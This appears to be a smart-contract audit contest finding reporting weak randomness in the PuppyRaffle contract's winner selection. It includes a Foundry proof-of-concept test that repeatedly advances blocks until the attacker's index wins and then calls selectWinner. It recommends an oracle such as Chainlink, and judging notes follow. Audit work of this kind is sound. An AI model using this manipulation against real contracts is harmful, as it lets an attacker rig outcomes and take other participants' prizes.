Submission Details
Severity:
Pseudo random winner can be exploited
Summary
The rng in the contract can be manipulated/gamed as it is psuedo random
Vulnerability Details
The values used for the rng can be manipulated by miners. Additionally they can then call selectWinner when it is favourable to them. They can do this to win and also get the highest rarity NFTs
Impact
function testPseudoRandom() public playersEntered {
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
bool success = false;
while (!success) {
uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % 5;
// only call selectWinner if the winnerIndex is 4(index of attacker)
if (winnerIndex == 4) {
puppyRaffle.selectWinner();
success = true;
} else {
vm.roll(block.timestamp + 999);
}
}
}
Tools Used
Manual review
Recommendations
Use an oracle such as Chainlink for randomness
Updates
Lead Judging Commences
Hamiltonite about 2 years ago
Submission Judgement Published Assigned finding tags:
weak-randomness
Root cause: bad RNG Impact: manipulate winner
Rewards breakdown
nSLOC
143This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.